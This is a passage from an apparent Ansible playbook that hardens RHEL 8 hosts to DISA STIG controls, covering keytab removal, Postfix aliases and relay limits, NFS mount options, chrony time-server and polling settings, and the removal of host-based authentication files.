    - NIST-800-53-CM-6 b
    - NIST-800-53-CM-7 (2)
    - NIST-800-53-CM-7 (5) (b)
    - fapolicy_default_deny
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Find keytab files
    ansible.builtin.find:
      paths: /etc/
      patterns: '*.keytab'
    register: keytab_files
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010161
    - disable_strategy
    - kerberos_disable_no_keytab
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Remove keytab files
    ansible.builtin.file:
      path: '{{ item.path }}'
      state: absent
    with_items: '{{ keytab_files.files }}'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010161
    - disable_strategy
    - kerberos_disable_no_keytab
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Configure System to Forward All Mail From Postmaster to The Root Account
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/aliases
        create: true
        regexp: (?i)^\s*postmaster\s*:\s*
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/aliases
      ansible.builtin.lineinfile:
        path: /etc/aliases
        create: true
        regexp: (?i)^\s*postmaster\s*:\s*
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/aliases
      ansible.builtin.lineinfile:
        path: /etc/aliases
        create: true
        regexp: (?i)^\s*postmaster\s*:\s*
        line: 'postmaster: root'
        state: present
      register: aliases_postmaster_changed
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030030
    - NIST-800-53-AU-5(a)
    - NIST-800-53-AU-5.1(ii)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - postfix_client_configure_mail_alias_postmaster

  - name: Configure System to Forward All Mail From Postmaster to The Root Account
      - Check if newaliases command is available
    ansible.builtin.stat:
      path: /usr/bin/newaliases
    register: result_newaliases_present
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030030
    - NIST-800-53-AU-5(a)
    - NIST-800-53-AU-5.1(ii)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - postfix_client_configure_mail_alias_postmaster

  - name: Configure System to Forward All Mail From Postmaster to The Root Account
      - Update postfix aliases
    ansible.builtin.command:
      cmd: newaliases
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - result_newaliases_present.stat.exists
    - aliases_postmaster_changed is changed
    tags:
    - DISA-STIG-RHEL-08-030030
    - NIST-800-53-AU-5(a)
    - NIST-800-53-AU-5.1(ii)
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - postfix_client_configure_mail_alias_postmaster

  - name: Prevent Unrestricted Mail Relaying
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/postfix/main.cf
        create: true
        regexp: (?i)^[ \t]*smtpd_client_restrictions\s*=\s*
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/postfix/main.cf
      ansible.builtin.lineinfile:
        path: /etc/postfix/main.cf
        create: true
        regexp: (?i)^[ \t]*smtpd_client_restrictions\s*=\s*
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/postfix/main.cf
      ansible.builtin.lineinfile:
        path: /etc/postfix/main.cf
        create: true
        regexp: (?i)^[ \t]*smtpd_client_restrictions\s*=\s*
        line: smtpd_client_restrictions = permit_mynetworks,reject
        state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;postfix&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040290
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - postfix_prevent_unrestricted_relay
    - restrict_strategy

  - name: Get nfs and nfs4 mount points, that don't have nodev
    ansible.builtin.command: findmnt --fstab --types nfs,nfs4 -O nonodev -n -P
    register: points_register
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010640
    - NIST-800-53-CM-6(a)
    - NIST-800-53-MP-2
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - mount_option_nodev_remote_filesystems
    - no_reboot_needed

  - name: Add nodev to nfs and nfs4 mount points
    ansible.posix.mount:
      path: '{{ item | regex_search(''TARGET=&quot;([^&quot;]+)&quot;'',''\1'') | first }}'
      src: '{{ item | regex_search(''SOURCE=&quot;([^&quot;]+)&quot;'',''\1'') | first }}'
      fstype: '{{ item | regex_search(''FSTYPE=&quot;([^&quot;]+)&quot;'',''\1'') | first }}'
      state: present
      opts: '{{ item | regex_search(''OPTIONS=&quot;([^&quot;]+)&quot;'',''\1'') | first }},nodev'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - (points_register.stdout | length &gt; 0) and '\\x09' not in item
    with_items: '{{ points_register.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010640
    - NIST-800-53-CM-6(a)
    - NIST-800-53-MP-2
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - mount_option_nodev_remote_filesystems
    - no_reboot_needed

  - name: Get nfs and nfs4 mount points, that don't have noexec
    ansible.builtin.command: findmnt --fstab --types nfs,nfs4 -O nonoexec -n -P
    register: points_register
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010630
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(10)
    - NIST-800-53-AC-6(8)
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - mount_option_noexec_remote_filesystems
    - no_reboot_needed

  - name: Add noexec to nfs and nfs4 mount points
    ansible.posix.mount:
      path: '{{ item | regex_search(''TARGET=&quot;([^&quot;]+)&quot;'',''\1'') | first }}'
      src: '{{ item | regex_search(''SOURCE=&quot;([^&quot;]+)&quot;'',''\1'') | first }}'
      fstype: '{{ item | regex_search(''FSTYPE=&quot;([^&quot;]+)&quot;'',''\1'') | first }}'
      state: present
      opts: '{{ item | regex_search(''OPTIONS=&quot;([^&quot;]+)&quot;'',''\1'') | first }},noexec'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - (points_register.stdout | length &gt; 0) and '\\x09' not in item
    with_items: '{{ points_register.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010630
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(10)
    - NIST-800-53-AC-6(8)
    - NIST-800-53-CM-6(a)
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - mount_option_noexec_remote_filesystems
    - no_reboot_needed

  - name: Get nfs and nfs4 mount points, that don't have nosuid
    ansible.builtin.command: findmnt --fstab --types nfs,nfs4 -O nonosuid -n -P
    register: points_register
    check_mode: false
    changed_when: false
    failed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010650
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM6(a)
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - mount_option_nosuid_remote_filesystems
    - no_reboot_needed

  - name: Add nosuid to nfs and nfs4 mount points
    ansible.posix.mount:
      path: '{{ item | regex_search(''TARGET=&quot;([^&quot;]+)&quot;'',''\1'') | first }}'
      src: '{{ item | regex_search(''SOURCE=&quot;([^&quot;]+)&quot;'',''\1'') | first }}'
      fstype: '{{ item | regex_search(''FSTYPE=&quot;([^&quot;]+)&quot;'',''\1'') | first }}'
      state: present
      opts: '{{ item | regex_search(''OPTIONS=&quot;([^&quot;]+)&quot;'',''\1'') | first }},nosuid'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - (points_register.stdout | length &gt; 0) and '\\x09' not in item
    with_items: '{{ points_register.stdout_lines }}'
    tags:
    - DISA-STIG-RHEL-08-010650
    - NIST-800-53-AC-6
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM6(a)
    - configure_strategy
    - low_complexity
    - medium_disruption
    - medium_severity
    - mount_option_nosuid_remote_filesystems
    - no_reboot_needed

  - name: Check if chrony main config has active server/pool entries
    ansible.builtin.command:
      cmd: grep -q '^[[:space:]]*\(server\|pool\)[[:space:]]\+[[:graph:]]\+' /etc/chrony.conf
    register: chrony_conf_has_servers
    changed_when: false
    failed_when: false
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;chrony&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-8(1)(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.4.3
    - PCI-DSSv4-10.6
    - PCI-DSSv4-10.6.2
    - chronyd_specify_remote_server
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Extract sourcedir paths from chrony configuration
    ansible.builtin.shell:
      cmd: grep '^[[:space:]]*sourcedir[[:space:]]\+' /etc/chrony.conf | awk '{print
        $2}'
    register: chrony_sourcedir_paths
    changed_when: false
    failed_when: false
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;chrony&quot; in ansible_facts.packages'
    - chrony_conf_has_servers.rc != 0
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-8(1)(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.4.3
    - PCI-DSSv4-10.6
    - PCI-DSSv4-10.6.2
    - chronyd_specify_remote_server
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Check for server/pool entries in sourcedir .sources files
    ansible.builtin.shell:
      cmd: |
        for dir in {{ chrony_sourcedir_paths.stdout_lines | join(' ') }}; do
          if [ -d &quot;$dir&quot; ]; then
            grep -q '^[[:space:]]*\(server\|pool\)[[:space:]]\+[[:graph:]]\+' &quot;$dir&quot;/*.sources 2&gt;/dev/null &amp;&amp; exit 0
          fi
        done
        exit 1
    register: chrony_sourcedir_has_servers
    changed_when: false
    failed_when: false
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;chrony&quot; in ansible_facts.packages'
    - chrony_conf_has_servers.rc != 0
    - chrony_sourcedir_paths.stdout_lines | length &gt; 0
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-8(1)(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.4.3
    - PCI-DSSv4-10.6
    - PCI-DSSv4-10.6.2
    - chronyd_specify_remote_server
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Extract confdir paths from chrony configuration
    ansible.builtin.shell:
      cmd: grep '^[[:space:]]*confdir[[:space:]]\+' /etc/chrony.conf | awk '{print
        $2}'
    register: chrony_confdir_paths
    changed_when: false
    failed_when: false
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;chrony&quot; in ansible_facts.packages'
    - chrony_conf_has_servers.rc != 0
    - (chrony_sourcedir_paths.stdout_lines | default([]) | length == 0 or chrony_sourcedir_has_servers.rc
      != 0)
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-8(1)(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.4.3
    - PCI-DSSv4-10.6
    - PCI-DSSv4-10.6.2
    - chronyd_specify_remote_server
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Check for server/pool entries in confdir .conf files
    ansible.builtin.shell:
      cmd: |
        for dir in {{ chrony_confdir_paths.stdout_lines | join(' ') }}; do
          if [ -d &quot;$dir&quot; ]; then
            grep -q '^[[:space:]]*\(server\|pool\)[[:space:]]\+[[:graph:]]\+' &quot;$dir&quot;/*.conf 2&gt;/dev/null &amp;&amp; exit 0
          fi
        done
        exit 1
    register: chrony_confdir_has_servers
    changed_when: false
    failed_when: false
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;chrony&quot; in ansible_facts.packages'
    - chrony_conf_has_servers.rc != 0
    - chrony_confdir_paths.stdout_lines | default([]) | length &gt; 0
    - (chrony_sourcedir_paths.stdout_lines | default([]) | length == 0 or chrony_sourcedir_has_servers.rc
      != 0)
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-8(1)(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.4.3
    - PCI-DSSv4-10.6
    - PCI-DSSv4-10.6.2
    - chronyd_specify_remote_server
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Create sourcedir directory if needed
    ansible.builtin.file:
      path: '{{ chrony_sourcedir_paths.stdout_lines[0] }}'
      state: directory
      mode: '0755'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;chrony&quot; in ansible_facts.packages'
    - chrony_conf_has_servers.rc != 0
    - chrony_sourcedir_paths.stdout_lines | default([]) | length &gt; 0
    - chrony_sourcedir_has_servers.rc != 0
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-8(1)(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.4.3
    - PCI-DSSv4-10.6
    - PCI-DSSv4-10.6.2
    - chronyd_specify_remote_server
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Add remote time servers to sourcedir .sources file
    ansible.builtin.lineinfile:
      path: '{{ chrony_sourcedir_paths.stdout_lines[0] }}/ntp-servers.sources'
      line: server {{ item }}
      state: present
      create: true
      mode: '0644'
    loop: '{{ var_multiple_time_servers.split(&quot;,&quot;) }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;chrony&quot; in ansible_facts.packages'
    - chrony_conf_has_servers.rc != 0
    - chrony_sourcedir_paths.stdout_lines | default([]) | length &gt; 0
    - chrony_sourcedir_has_servers.rc != 0
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-8(1)(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.4.3
    - PCI-DSSv4-10.6
    - PCI-DSSv4-10.6.2
    - chronyd_specify_remote_server
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Create confdir directory if needed
    ansible.builtin.file:
      path: '{{ chrony_confdir_paths.stdout_lines[0] }}'
      state: directory
      mode: '0755'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;chrony&quot; in ansible_facts.packages'
    - chrony_conf_has_servers.rc != 0
    - (chrony_sourcedir_paths.stdout_lines | default([]) | length == 0 or chrony_sourcedir_has_servers.rc
      != 0)
    - chrony_confdir_paths.stdout_lines | default([]) | length &gt; 0
    - chrony_confdir_has_servers.rc != 0
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-8(1)(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.4.3
    - PCI-DSSv4-10.6
    - PCI-DSSv4-10.6.2
    - chronyd_specify_remote_server
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Add remote time servers to confdir .conf file
    ansible.builtin.lineinfile:
      path: '{{ chrony_confdir_paths.stdout_lines[0] }}/ntp-servers.conf'
      line: server {{ item }}
      state: present
      create: true
      mode: '0644'
    loop: '{{ var_multiple_time_servers.split(&quot;,&quot;) }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;chrony&quot; in ansible_facts.packages'
    - chrony_conf_has_servers.rc != 0
    - (chrony_sourcedir_paths.stdout_lines | default([]) | length == 0 or chrony_sourcedir_has_servers.rc
      != 0)
    - chrony_confdir_paths.stdout_lines | default([]) | length &gt; 0
    - chrony_confdir_has_servers.rc != 0
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-8(1)(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.4.3
    - PCI-DSSv4-10.6
    - PCI-DSSv4-10.6.2
    - chronyd_specify_remote_server
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Add remote time servers to main chrony configuration
    ansible.builtin.lineinfile:
      path: /etc/chrony.conf
      line: server {{ item }}
      state: present
      create: true
    loop: '{{ var_multiple_time_servers.split(&quot;,&quot;) }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;chrony&quot; in ansible_facts.packages'
    - chrony_conf_has_servers.rc != 0
    - (chrony_sourcedir_paths.stdout_lines | default([]) | length == 0 or chrony_sourcedir_has_servers.rc
      != 0)
    - (chrony_confdir_paths.stdout_lines | default([]) | length == 0 or chrony_confdir_has_servers.rc
      != 0)
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-8(1)(a)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.4.3
    - PCI-DSSv4-10.6
    - PCI-DSSv4-10.6.2
    - chronyd_specify_remote_server
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Disable chrony daemon from acting as server
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/chrony.conf
        create: true
        regexp: (?i)^\s*port\s+
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/chrony.conf
      ansible.builtin.lineinfile:
        path: /etc/chrony.conf
        create: true
        regexp: (?i)^\s*port\s+
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/chrony.conf
      ansible.builtin.lineinfile:
        path: /etc/chrony.conf
        create: true
        regexp: (?i)^\s*port\s+
        line: port 0
        state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;chrony&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030741
    - NIST-800-53-AU-12(1)
    - NIST-800-53-AU-8(1)
    - chronyd_client_only
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Disable network management of chrony daemon
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/chrony.conf
        create: true
        regexp: (?i)^\s*cmdport\s+
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/chrony.conf
      ansible.builtin.lineinfile:
        path: /etc/chrony.conf
        create: true
        regexp: (?i)^\s*cmdport\s+
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/chrony.conf
      ansible.builtin.lineinfile:
        path: /etc/chrony.conf
        create: true
        regexp: (?i)^\s*cmdport\s+
        line: cmdport 0
        state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;chrony&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030742
    - NIST-800-53-CM-7(1)
    - chronyd_no_chronyc_network
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure Time Service Maxpoll Interval - Check That /etc/ntp.conf Exist
    ansible.builtin.stat:
      path: /etc/ntp.conf
    register: ntp_conf_exist_result
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( &quot;chrony&quot; in ansible_facts.packages or &quot;ntp&quot; in ansible_facts.packages )
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-12(1)
    - NIST-800-53-AU-8(1)(b)
    - NIST-800-53-CM-6(a)
    - chronyd_or_ntpd_set_maxpoll
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure Time Service Maxpoll Interval - Update the maxpoll Values in /etc/ntp.conf
    ansible.builtin.replace:
      path: /etc/ntp.conf
      regexp: ^(server.*maxpoll)[ ]+[0-9]+(.*)$
      replace: \1 {{ var_time_service_set_maxpoll }}\2
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( &quot;chrony&quot; in ansible_facts.packages or &quot;ntp&quot; in ansible_facts.packages )
    - ntp_conf_exist_result.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-12(1)
    - NIST-800-53-AU-8(1)(b)
    - NIST-800-53-CM-6(a)
    - chronyd_or_ntpd_set_maxpoll
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure Time Service Maxpoll Interval - Set the maxpoll Values in /etc/ntp.conf
    ansible.builtin.replace:
      path: /etc/ntp.conf
      regexp: (^server\s+((?!maxpoll).)*)$
      replace: \1 maxpoll {{ var_time_service_set_maxpoll }}\n
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( &quot;chrony&quot; in ansible_facts.packages or &quot;ntp&quot; in ansible_facts.packages )
    - ntp_conf_exist_result.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-12(1)
    - NIST-800-53-AU-8(1)(b)
    - NIST-800-53-CM-6(a)
    - chronyd_or_ntpd_set_maxpoll
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure Time Service Maxpoll Interval - Check That /etc/chrony.conf Exist
    ansible.builtin.stat:
      path: /etc/chrony.conf
    register: chrony_conf_exist_result
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( &quot;chrony&quot; in ansible_facts.packages or &quot;ntp&quot; in ansible_facts.packages )
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-12(1)
    - NIST-800-53-AU-8(1)(b)
    - NIST-800-53-CM-6(a)
    - chronyd_or_ntpd_set_maxpoll
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure Time Service Maxpoll Interval - Update the maxpoll Values in /etc/chrony.conf
    ansible.builtin.replace:
      path: /etc/chrony.conf
      regexp: ^((?:server|pool|peer).*maxpoll)[ ]+[0-9]+(.*)$
      replace: \1 {{ var_time_service_set_maxpoll }}\2
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( &quot;chrony&quot; in ansible_facts.packages or &quot;ntp&quot; in ansible_facts.packages )
    - chrony_conf_exist_result.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-12(1)
    - NIST-800-53-AU-8(1)(b)
    - NIST-800-53-CM-6(a)
    - chronyd_or_ntpd_set_maxpoll
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure Time Service Maxpoll Interval - Set the maxpoll Values in /etc/chrony.conf
    ansible.builtin.replace:
      path: /etc/chrony.conf
      regexp: (^(?:server|pool|peer)\s+((?!maxpoll).)*)$
      replace: \1 maxpoll {{ var_time_service_set_maxpoll }}\n
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( &quot;chrony&quot; in ansible_facts.packages or &quot;ntp&quot; in ansible_facts.packages )
    - chrony_conf_exist_result.stat.exists
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-12(1)
    - NIST-800-53-AU-8(1)(b)
    - NIST-800-53-CM-6(a)
    - chronyd_or_ntpd_set_maxpoll
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure Time Service Maxpoll Interval - Check That /etc/chrony.d/ Exist
    ansible.builtin.stat:
      path: /etc/chrony.d/
    register: chrony_d_path_exists
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( &quot;chrony&quot; in ansible_facts.packages or &quot;ntp&quot; in ansible_facts.packages )
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-12(1)
    - NIST-800-53-AU-8(1)(b)
    - NIST-800-53-CM-6(a)
    - chronyd_or_ntpd_set_maxpoll
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure Time Service Maxpoll Interval - Get Conf Files from /etc/chrony.d/
    ansible.builtin.find:
      path: /etc/chrony.d/
      patterns: '*.conf'
      file_type: file
    register: chrony_d_conf_files
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( &quot;chrony&quot; in ansible_facts.packages or &quot;ntp&quot; in ansible_facts.packages )
    - chrony_d_path_exists.stat.exists and chrony_d_path_exists.stat.isdir
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-12(1)
    - NIST-800-53-AU-8(1)(b)
    - NIST-800-53-CM-6(a)
    - chronyd_or_ntpd_set_maxpoll
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure Time Service Maxpoll Interval - Update the maxpoll Values in /etc/chrony.d/
    ansible.builtin.replace:
      path: '{{ item.path }}'
      regexp: ^((?:server|pool|peer).*maxpoll)[ ]+[0-9,-]+(.*)$
      replace: \1 {{ var_time_service_set_maxpoll }}\2
    loop: '{{ chrony_d_conf_files.files | default([]) }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( &quot;chrony&quot; in ansible_facts.packages or &quot;ntp&quot; in ansible_facts.packages )
    - chrony_d_conf_files is defined and chrony_d_conf_files.matched
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-12(1)
    - NIST-800-53-AU-8(1)(b)
    - NIST-800-53-CM-6(a)
    - chronyd_or_ntpd_set_maxpoll
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure Time Service Maxpoll Interval - Set the maxpoll Values in /etc/chrony.d/
    ansible.builtin.replace:
      path: '{{ item.path }}'
      regexp: (^(?:server|pool|peer)\s+((?!maxpoll).)*)$
      replace: \1 maxpoll {{ var_time_service_set_maxpoll }}\n
    loop: '{{ chrony_d_conf_files.files | default([]) }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ( &quot;chrony&quot; in ansible_facts.packages or &quot;ntp&quot; in ansible_facts.packages )
    - chrony_d_conf_files is defined and chrony_d_conf_files.matched
    tags:
    - DISA-STIG-RHEL-08-030740
    - NIST-800-53-AU-12(1)
    - NIST-800-53-AU-8(1)(b)
    - NIST-800-53-CM-6(a)
    - chronyd_or_ntpd_set_maxpoll
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Remove Host-Based Authentication Files - Define Excluded (Non-Local) File
      Systems and Paths
    ansible.builtin.set_fact:
      excluded_fstypes:
      - afs
      - autofs
      - ceph
      - cifs
      - smb3
      - smbfs
      - sshfs
      - ncpfs
      - ncp
      - nfs
      - nfs4
      - gfs
      - gfs2
      - glusterfs
      - gpfs
      - pvfs2
      - ocfs2
      - lustre
      - davfs
      - fuse.sshfs
      excluded_paths:
      - dev
      - proc
      - run
      - sys
      search_paths: []
    tags:
    - DISA-STIG-RHEL-08-010460
    - high_severity
    - low_complexity
    - low_disruption
    - no_host_based_files
    - no_reboot_needed
    - restrict_strategy

  - name: Remove Host-Based Authentication Files - Find Relevant Root Directories
      Ignoring Pre-Defined Excluded Paths
    ansible.builtin.find:
      paths: /
      file_type: directory
      excludes: '{{ excluded_paths }}'
      hidden: true
      recurse: false
    register: result_relevant_root_dirs
    tags:
    - DISA-STIG-RHEL-08-010460
    - high_severity
    - low_complexity
    - low_disruption
    - no_host_based_files
    - no_reboot_needed
    - restrict_strategy

  - name: Remove Host-Based Authentication Files - Include Relevant Root Directories
      in a List of Paths to be Searched
    ansible.builtin.set_fact:
      search_paths: '{{ search_paths | union([item.path]) }}'
    loop: '{{ result_relevant_root_dirs.files }}'
    tags:
    - DISA-STIG-RHEL-08-010460
    - high_severity
    - low_complexity
    - low_disruption
    - no_host_based_files
    - no_reboot_needed
    - restrict_strategy

  - name: Remove Host-Based Authentication Files - Increment Search Paths List with
      Local Partitions Mount Points
    ansible.builtin.set_fact:
      search_paths: '{{ search_paths | union([item.mount]) }}'
    loop: '{{ ansible_mounts }}'
    when:
    - item.fstype not in excluded_fstypes
    - item.mount != '/'
    tags:
    - DISA-STIG-RHEL-08-010460
    - high_severity
    - low_complexity
    - low_disruption
    - no_host_based_files
    - no_reboot_needed
    - restrict_strategy

  - name: Remove Host-Based Authentication Files - Increment Search Paths List with
      Local NFS File System Targets
    ansible.builtin.set_fact:
      search_paths: '{{ search_paths | union([item.device.split('':'')[1]]) }}'
    loop: '{{ ansible_mounts }}'
    when: item.device is search(&quot;localhost:&quot;)
    tags:
    - DISA-STIG-RHEL-08-010460
    - high_severity
    - low_complexity
    - low_disruption
    - no_host_based_files
    - no_reboot_needed
    - restrict_strategy

  - name: Remove Host-Based Authentication Files - Define Rule Specific Facts
    ansible.builtin.set_fact:
      shosts_equiv_files:
      - /shosts.equiv
    tags:
    - DISA-STIG-RHEL-08-010460
    - high_severity
    - low_complexity
    - low_disruption
    - no_host_based_files
    - no_reboot_needed
    - restrict_strategy

  - name: Remove Host-Based Authentication Files - Find All shosts.equiv Files in
      Local File Systems
    ansible.builtin.command:
      cmd: find {{ item }} -xdev -type f -name &quot;shosts.equiv&quot;
    loop: '{{ search_paths }}'
    changed_when: false
    register: result_found_shosts_equiv_files
    tags:
    - DISA-STIG-RHEL-08-010460
    - high_severity
    - low_complexity
    - low_disruption
    - no_host_based_files
    - no_reboot_needed
    - restrict_strategy

  - name: Remove Host-Based Authentication Files - Create List of shosts.equiv Files
      Present in Local File Systems
    ansible.builtin.set_fact:
      shosts_equiv_files: '{{ shosts_equiv_files | union(item.stdout_lines) | list
        }}'
    loop: '{{ result_found_shosts_equiv_files.results }}'
    tags:
